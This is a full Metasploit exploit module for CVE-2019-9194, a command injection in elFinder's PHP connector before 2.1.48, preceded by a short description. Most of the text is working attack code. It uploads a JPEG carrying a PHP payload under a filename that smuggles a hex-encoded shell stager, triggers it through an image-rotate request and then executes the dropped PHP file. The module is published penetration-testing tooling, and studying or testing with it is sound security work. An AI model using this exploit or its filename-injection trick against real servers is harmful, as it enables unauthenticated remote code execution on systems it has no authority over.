This Metasploit module exploits a command injection vulnerability in elFinder versions prior to 2.1.48. The PHP connector component allows unauthenticated users to upload files and perform file modification operations, such as resizing and rotation of an image. The file name of uploaded files is not validated, allowing shell metacharacters. When performing image operations on JPEG files, the filename is passed to the exiftran utility without appropriate sanitization, causing shell commands in the file name to be executed, resulting in remote command injection as the web server user. The PHP connector is not enabled by default. The system must have exiftran installed and in the PATH. This module has been tested successfully on elFinder versions 2.1.47, 2.1.20, and 2.1.16 on Ubuntu.
3664569f65ef2128717bd5e02f29d7b4##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'elFinder PHP Connector exiftran Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in elFinder
versions prior to 2.1.48.
The PHP connector component allows unauthenticated users to upload
files and perform file modification operations, such as resizing and
rotation of an image. The file name of uploaded files is not validated,
allowing shell metacharacters.
When performing image operations on JPEG files, the filename is passed
to the `exiftran` utility without appropriate sanitization, causing
shell commands in the file name to be executed, resulting in remote
command injection as the web server user.
The PHP connector is not enabled by default.
The system must have `exiftran` installed and in `$PATH`.
This module has been tested successfully on elFinder versions 2.1.47,
2.1.20 and 2.1.16 on Ubuntu.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Thomas Chauchefoin', # Discovery
'q3rv0', # Exploit
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-9194'],
['EDB', '46481'],
['URL', 'https://github.com/Studio-42/elFinder/releases/tag/2.1.48'],
['URL', 'https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/']
],
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' => [['Auto', {}]],
'Privileged' => false,
'DisclosureDate' => '2019-02-26',
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/'])
]
end
#
# Check if /php/connector.minimal.php exists and is executable
#
def check
uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
res = send_request_cgi('uri' => uri)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200
vprint_status "#{uri} does not exist"
return CheckCode::Safe
end
if res.body.include? '<?php'
vprint_status 'PHP is not enabled'
return CheckCode::Safe
end
CheckCode::Detected
end
#
# Upload PHP payload
#
def upload(fname)
# Small JPEG file from:
# https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
jpeg = %w[
FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02
02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05
06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E
0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13
12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01
01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08
01 01 00 00 3F 00 D2 CF 20 FF D9
]
jpeg = [jpeg.join].pack('H*')
jpeg << rand_text_alphanumeric(50..100)
jpeg << "<?php #{payload.encoded} ?>"
jpeg << rand_text_alphanumeric(50..100)
data = Rex::MIME::Message.new
data.add_part('upload', nil, nil, 'form-data; name="cmd"')
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
data.add_part(jpeg, 'image/jpeg', nil, %(form-data; name="upload[]"; filename="#{fname}"))
post_data = data.to_s
print_status("Uploading payload '#{fname}' (#{post_data.length} bytes)")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
unless res.code == 200
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
unless res.body.include?('"added"')
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
end
if res.body.include?('"error"') || res.body.include?('"warning"')
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
end
json_res = JSON.parse(res.body) rescue nil
if json_res.nil? || json_res['added'].empty?
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
end
json_res['added'].first['hash'] || ''
end
#
# Trigger the command injection via image rotation functionality
# Rotates image by 180 degrees to trigger `exiftran` code path
#
def trigger(hash)
print_status 'Triggering vulnerability via image rotation ...'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
'vars_get' => {
'target' => hash,
'degree' => '180',
'mode' => 'rotate',
'cmd' => 'resize'
}
}, 5)
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
if res.body.include?('"error"') || res.body.include?('"warning"')
fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}"
end
end
#
# Delete uploaded file
#
def delete_file(hash)
print_status 'Removing uploaded file ...'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
'vars_get' => {
'cmd' => 'rm',
'targets[]' => hash
}
}, 15)
unless res
print_status 'Connection failed'
return
end
if res.body.include?('errFileNotFound')
print_error "Could not delete uploaded file. Unexpected reply: #{res.body}"
return
end
print_good 'Deleted uploaded file'
end
#
# Execute payload
#
def execute_payload(php_fname)
path = normalize_uri(target_uri.path, 'php', php_fname)
print_status "Executing payload (#{path}) ..."
res = send_request_cgi({
'uri' => path
}, 15)
unless res
print_status 'No reply'
return
end
unless res.code == 200
fail_with Failure::UnexpectedReply, "Executing payload failed (HTTP #{res.code})"
end
end
#
# Remove uploaded file
#
def cleanup
delete_file @hash unless @hash.nil?
ensure
super
end
#
# upload && execute
#
def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
fname = rand_text_alphanumeric(6..10)
php_fname = ".#{rand_text_alphanumeric(6..10)}.php"
# Max file name length is ~250 characters
# and characters such as `/` are forbidden.
# Hex encoded stager copies the uploaded file from the `files` directory
# to the working directory (`php`) and changes the extension to `.php`
# The stager is decoded with xxd when the vuln is triggered.
stager = "cp ../files/#{fname}.jpg*echo* #{php_fname}"
# Upload our payload jpg file with encoded stager in the filename
jpg_fname = "#{fname}.jpg;echo #{stager.unpack('H*').flatten.first} |xxd -r -p |sh& #.jpg"
@hash = upload jpg_fname
if @hash.to_s == ''
fail_with Failure::Unknown, 'Upload failed: Failed to retrieve file hash ID'
end
trigger @hash
register_file_for_cleanup php_fname
execute_payload php_fname
end
end